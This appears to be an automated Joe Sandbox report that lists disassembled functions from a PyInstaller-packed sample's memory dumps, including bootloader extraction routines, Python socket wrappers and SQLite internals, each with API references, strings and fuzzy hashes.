Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: 99c73fc6a28612792b6c6d8362d0e314c348d17b3c172c1cdf7a5882f38cef59
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: F6F0C822A1C74286F7619B60B889776B351FB94378F940735DA6D02AD4DF3CD059CE00

Function 00007FFBA67A1230 Relevance: 1.7, APIs: 1, Instructions: 204COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FFBA67A1255

Memory Dump Source

Source File: 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFBA6790000, based on PE: true

Associated: 00000008.00000002.1952109608.00007FFBA6790000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F1000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F3000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA6908000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952472915.00007FFBA690A000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952519785.00007FFBA690C000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6790000_program.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 0609f6becf4837133f86ac5623d419228c70d3b405efdb4a8828f98acc38b35e
Instruction ID: 6cf64ddf6925ade6ad7a789c46a20d62bf2fa4e98a1cdc2f9a6d29a560448237
Opcode Fuzzy Hash: 0609f6becf4837133f86ac5623d419228c70d3b405efdb4a8828f98acc38b35e
Instruction Fuzzy Hash: 60A12BE0A1BB0682FE5BCB75E86427422AABF65F44F540576CD4D867A0EF3DE4988340

Function 00007FFBAA49660C Relevance: 1.5, APIs: 1, Instructions: 19networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FFBAA49663B

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: cc5000ffc5fa2b87bdd8153e65a94afe1c8ba3f92a28fb82bdbbf04857ba9e65
Instruction ID: 33bf675215fd5496f05ce3ff225a58cf6b303d5b671ded3f4e95729b0050f1ad
Opcode Fuzzy Hash: cc5000ffc5fa2b87bdd8153e65a94afe1c8ba3f92a28fb82bdbbf04857ba9e65
Instruction Fuzzy Hash: 6FE01AF2A15A45C2D7245B66E0806687364F719FA4F245721DE380B3D0DE28D8E6C740

Function 00007FF72C651950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72C657F90: _fread_nolock.LIBCMT ref: 00007FF72C65803A

_fread_nolock.LIBCMT ref: 00007FF72C651A1B

Part of subcall function 00007FF72C652910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF72C651B6A), ref: 00007FF72C65295E

Strings

Error on file., xrefs: 00007FF72C651B8D
fread, xrefs: 00007FF72C651A32, 00007FF72C651B5C
calloc, xrefs: 00007FF72C651A68
malloc, xrefs: 00007FF72C651B22
Could not allocate buffer for TOC!, xrefs: 00007FF72C651B1B
Failed to read cookie!, xrefs: 00007FF72C651A2B
fseek, xrefs: 00007FF72C6519F5
Failed to seek to cookie position!, xrefs: 00007FF72C6519EE
MEI, xrefs: 00007FF72C651991
Could not allocate memory for archive structure!, xrefs: 00007FF72C651A61
Could not read full TOC!, xrefs: 00007FF72C651B55

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 85b25b29a176bc83ae3a1b74fdbb3e17cfe2198aa0bc5e09dcfbdbd9a14dfb03
Instruction ID: 05d1e98607e00c0932de05aeb01288415088a65e3b3c311ea904c174ccc401cc
Opcode Fuzzy Hash: 85b25b29a176bc83ae3a1b74fdbb3e17cfe2198aa0bc5e09dcfbdbd9a14dfb03
Instruction Fuzzy Hash: D981D671A0C68286EB22FB14DC412B9B3A2FFA47A4FE04435DA8D43785DE3CE5458F60

Function 00007FFBAA495E54 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 234
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketW.WS2_32 ref: 00007FFBAA496060
SetHandleInformation.KERNEL32 ref: 00007FFBAA49608A
closesocket.WS2_32 ref: 00007FFBAA49609F
getsockname.WS2_32 ref: 00007FFBAA49612A
WSAGetLastError.WS2_32 ref: 00007FFBAA496149
getsockopt.WS2_32 ref: 00007FFBAA496186
WSASocketW.WS2_32 ref: 00007FFBAA4961E8

Strings

socket.__new__, xrefs: 00007FFBAA495EC9, 00007FFBAA495FC1
Oiii, xrefs: 00007FFBAA495EB7, 00007FFBAA496001
negative file descriptor, xrefs: 00007FFBAA4960EE
socket descriptor string has wrong size, should be %zu bytes., xrefs: 00007FFBAA495F18

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: Socket$ErrorHandleInformationLastclosesocketgetsocknamegetsockopt
String ID: Oiii$negative file descriptor$socket descriptor string has wrong size, should be %zu bytes.$socket.__new__
API String ID: 141981615-2881308447
Opcode ID: 4f2beb27c7ea7289d8515a14bf3cfdd75d59c501fe0f98bb6e87318c8562a854
Instruction ID: b05b5a4407e1e0f580f83ba9db571c37406b979269f9d217eeee24e95b1540a4
Opcode Fuzzy Hash: 4f2beb27c7ea7289d8515a14bf3cfdd75d59c501fe0f98bb6e87318c8562a854
Instruction Fuzzy Hash: 0DB1D6A2A09A81C2F6228F35D4C42BC7364FB94BA4F145375EE6D036A1DF3CE596C310

Function 00007FFBAA49746C Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32 ref: 00007FFBAA497656
FreeAddrInfoW.WS2_32 ref: 00007FFBAA497785
FreeAddrInfoW.WS2_32 ref: 00007FFBAA49780F

Strings

socket.getaddrinfo, xrefs: 00007FFBAA4975F7
idna, xrefs: 00007FFBAA49753B
OOiii, xrefs: 00007FFBAA4975E6
Int or String expected, xrefs: 00007FFBAA4977C4
OO|iiii:getaddrinfo, xrefs: 00007FFBAA4974BC
getaddrinfo() argument 1 must be string or None, xrefs: 00007FFBAA49781E
iiisO, xrefs: 00007FFBAA4976E4

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: AddrFreeInfo$getaddrinfo
String ID: Int or String expected$OOiii$OO|iiii:getaddrinfo$getaddrinfo() argument 1 must be string or None$idna$iiisO$socket.getaddrinfo
API String ID: 2288433384-1074899869
Opcode ID: 31578e94d28b646b1d124d071274d69e5ee20e598ce9ff2e34f2b354b6e2d7d2
Instruction ID: ae175bb3c18e274c0e1fb70e1b1509865ee23ad9c1701b9869c822e99ff3d8fc
Opcode Fuzzy Hash: 31578e94d28b646b1d124d071274d69e5ee20e598ce9ff2e34f2b354b6e2d7d2
Instruction Fuzzy Hash: ABC118B6A0A602C6FB56CF31D4C46BC33A8BB48B94F0445B5EE0D52A64DF3DE526C360

Function 00007FF72C651470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF72C6515DF
fread, xrefs: 00007FF72C6515E6
malloc, xrefs: 00007FF72C65151F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF72C651518
fseek, xrefs: 00007FF72C6514E5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF72C6514DE
Failed to extract %s: failed to open archive file!, xrefs: 00007FF72C65149F

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 00a01140cb6f53c8bf48d507e97df1570cac778f72c2f220bef2ef140620373e
Instruction ID: 3c93293992452c50435354a42f86e2d4df4e9d2704875170620fcf1a7f9a3b6e
Opcode Fuzzy Hash: 00a01140cb6f53c8bf48d507e97df1570cac778f72c2f220bef2ef140620373e
Instruction Fuzzy Hash: 1A418161A0854385EA02EB21DC411B9F392FFA47E4FE44932EE4D07B99DE3CE5458F64

Function 00007FFBA68143D0 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA6814559

Strings

ase, xrefs: 00007FFBA681465D
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 00007FFBA681474F
sqlite_master, xrefs: 00007FFBA681441C
sqlite_temp_master, xrefs: 00007FFBA6814415
table, xrefs: 00007FFBA68143FA
CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text), xrefs: 00007FFBA6814474

Memory Dump Source

Source File: 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFBA6790000, based on PE: true

Associated: 00000008.00000002.1952109608.00007FFBA6790000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F1000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F3000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA6908000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952472915.00007FFBA690A000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952519785.00007FFBA690C000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6790000_program.jbxd

Similarity

API ID: 00007B593010
String ID: CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text)$SELECT*FROM"%w".%s ORDER BY rowid$ase$sqlite_master$sqlite_temp_master$table
API String ID: 2201947777-879093740
Opcode ID: f9f91cf4c879a1f55dcf4b3cc1e56045de927a81096d4cf94589e99b2d0e2aef
Instruction ID: b6c7ebdfc3e84015a774fd4dadc87d29d548cab808ddf8dfdc655c4141238752
Opcode Fuzzy Hash: f9f91cf4c879a1f55dcf4b3cc1e56045de927a81096d4cf94589e99b2d0e2aef
Instruction Fuzzy Hash: AFE19AE2E0A6928AFB12CB75C0506B927AAAB45F98F054277CE1D177D5DF38E852C340

Function 00007FF72C651210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF72C65141E
malloc, xrefs: 00007FF72C6512C1, 00007FF72C6512F6
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF72C6512BA
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF72C651276
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF72C6512EF
1.3.1, xrefs: 00007FF72C651249

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: ab383ac4b995131bdd40696453c0f16ebeee9cffe796343d9728e2385cbc1d23
Instruction ID: d50ba084d5fe2f5b8fd5136801dc8979788115cb1ce4a556445b3f253009d73f
Opcode Fuzzy Hash: ab383ac4b995131bdd40696453c0f16ebeee9cffe796343d9728e2385cbc1d23
Instruction Fuzzy Hash: 1651D522A0864245E622FB11AC503BAE292FFA47E4FE44535EF4E477D5EE3CE545CB10

Function 00007FFBAA4954AC Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 114
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAGetLastError.WS2_32 ref: 00007FFBAA495553
WSAGetLastError.WS2_32 ref: 00007FFBAA49555B
WSAGetLastError.WS2_32 ref: 00007FFBAA4955C0
WSAGetLastError.WS2_32 ref: 00007FFBAA4955C8

Part of subcall function 00007FFBAA4948B0: select.WS2_32 ref: 00007FFBAA494978

WSAGetLastError.WS2_32 ref: 00007FFBAA4955E8
WSAGetLastError.WS2_32 ref: 00007FFBAA4955FD

Strings

timed out, xrefs: 00007FFBAA49562F

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: ErrorLast$select
String ID: timed out
API String ID: 1043644060-3163636755
Opcode ID: fc651cffc8d0259b0e914ce5bfbd73a3b3d15b310cc83588944c491bbca2a8c7
Instruction ID: c960e4cacc89c28e3e3410244b5ad6dc291a67dab191bca81c6b07fba9c511d8
Opcode Fuzzy Hash: fc651cffc8d0259b0e914ce5bfbd73a3b3d15b310cc83588944c491bbca2a8c7
Instruction Fuzzy Hash: 7141A4E1E0F642C6FA635F35E4C423D6398AF04B64F2441B4ED4D426A5CF3DE86B8622

Function 00007FF72C6536B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF72C653804), ref: 00007FF72C6536E1
GetLastError.KERNEL32(?,00007FF72C653804), ref: 00007FF72C6536EB

Part of subcall function 00007FF72C652C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652C9E
Part of subcall function 00007FF72C652C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652D63
Part of subcall function 00007FF72C652C50: MessageBoxW.USER32 ref: 00007FF72C652D99

Strings

GetModuleFileNameW, xrefs: 00007FF72C6536FA
Failed to convert executable path to UTF-8., xrefs: 00007FF72C653790
Failed to obtain executable path., xrefs: 00007FF72C6536F3
Failed to resolve full path to executable %ls., xrefs: 00007FF72C653739
\\?\, xrefs: 00007FF72C65375A

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: a21fb4b08906b3152e570bc7fccf02248fe77c7fd2e6215aee0efc2c8f7c518f
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: 3C219461F18A4291FA22B720EC153B6A253FFA87B4FE40132D75D865D5EE2CE509CB24

Function 00007FF72C66BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66BE89

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fe76644ed600cf537c3c6f178a4f6dddc7bb94aee2e0e4a7e52e493d4ee37ba5
Instruction ID: 1fb64c4265ef5c98442378a9dd6faad2a8efac5e9508605bdbec03dfb8d90cd3
Opcode Fuzzy Hash: fe76644ed600cf537c3c6f178a4f6dddc7bb94aee2e0e4a7e52e493d4ee37ba5
Instruction Fuzzy Hash: EDC1162290C687D1E762AB1198402BDBBB2FBE1BA0FE54138DA4D07791CF7CE4459F60

Function 00007FF72C656360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF72C6563C7
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF72C656456
LoadLibrary, xrefs: 00007FF72C6564AE
ucrtbase.dll, xrefs: 00007FF72C6563DD
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF72C656407
Failed to load Python DLL '%ls'., xrefs: 00007FF72C6564A7

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction ID: 796ce303beb9b4be6c1e9479fbbaca77649ece06acdcfdde21d698eb5fda0e84
Opcode Fuzzy Hash: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction Fuzzy Hash: D7417421B18A8691EA12FB10EC152E9A313FF643A4FE04132EB5D47695DF3CE519CB60

Function 00007FFBAA496FF4 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 82COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFBAA49704E
setsockopt.WS2_32 ref: 00007FFBAA49713F

Strings

iii:setsockopt, xrefs: 00007FFBAA49701D
iiO!I:setsockopt, xrefs: 00007FFBAA497078
socket option is larger than %i bytes, xrefs: 00007FFBAA497109
iiy*:setsockopt, xrefs: 00007FFBAA4970D9

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: setsockopt
String ID: iiO!I:setsockopt$iii:setsockopt$iiy*:setsockopt$socket option is larger than %i bytes
API String ID: 3981526788-1608436615
Opcode ID: 32ca9612667a1d97849a044e9fa1363f5e862fb873e08f953f5db1e1b9d64d2d
Instruction ID: 84c31f9223df03e84e56cdbc0124ca818cf57f0d5108d79f6a196e107dbdb7a0
Opcode Fuzzy Hash: 32ca9612667a1d97849a044e9fa1363f5e862fb873e08f953f5db1e1b9d64d2d
Instruction Fuzzy Hash: D6411DB2609A46D2EB218F31E4C06AE7368FB88B94F500172EE9D43764DF3DD55AC750

Function 00007FFBA679FFD0 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 409fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FFBA67A020A

Strings

psow, xrefs: 00007FFBA67A0581
exclusive, xrefs: 00007FFBA67A019B
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FFBA67A02E6
winOpen, xrefs: 00007FFBA67A047D

Memory Dump Source

Source File: 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFBA6790000, based on PE: true

Associated: 00000008.00000002.1952109608.00007FFBA6790000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F1000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F3000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA6908000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952472915.00007FFBA690A000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952519785.00007FFBA690C000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6790000_program.jbxd

Similarity

API ID: CreateFile
String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
API String ID: 823142352-3829269058
Opcode ID: 9fa68a4d019e543b82f48475598e9f337480dd6f5aee3ec3198131acb147343e
